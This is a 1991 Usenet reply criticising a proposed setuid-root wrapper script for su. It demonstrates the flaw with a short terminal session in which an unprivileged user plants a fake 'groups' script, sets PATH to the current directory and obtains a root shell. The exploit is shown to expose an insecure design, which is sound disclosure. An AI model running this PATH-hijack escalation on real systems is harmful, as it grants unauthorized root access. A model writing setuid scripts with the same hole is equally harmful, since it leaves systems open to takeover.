Path: utzoo!utgpu!cs.utexas.edu!uwm.edu!spool.mu.edu!snorkelwacker.mit.edu!ai-lab!life.ai.mit.edu!rearl From: rearl@gnu.ai.mit.edu (Robert Earl) Newsgroups: alt.sources.d Subject: Re: sux, an enhancer for su Message-ID: Date: 25 Apr 91 19:57:53 GMT References: <462@frcs.UUCP> <1991Apr25.174534.13912@ux1.cso.uiuc.edu> Sender: news@ai.mit.edu Organization: (EVIL!) Lines: 26 In-reply-to: peltz@cerl.uiuc.edu's message of 25 Apr 91 17:45:34 GMT In article <1991Apr25.174534.13912@ux1.cso.uiuc.edu> peltz@cerl.uiuc.edu (Steve Peltz) writes: | Don't forget to change it to be owned by root and setuid and executable... | | #!/bin/sh | groups | grep -s wheel && su $* || echo Sorry Okay, great. Let's install this little script: root@host# chown root sux root@host# chmod 4755 sux root@host# mv sux /bin joe@host$ cat /bin/sux #!/bin/sh groups | grep -s wheel && su $* || echo Sorry joe@host$ cd joe@host$ cat > groups << ! > #!/bin/sh > /bin/echo wheel > ! joe@host$ chmod 755 groups joe@host$ PATH=:/bin /bin/sux joe@host# How cool.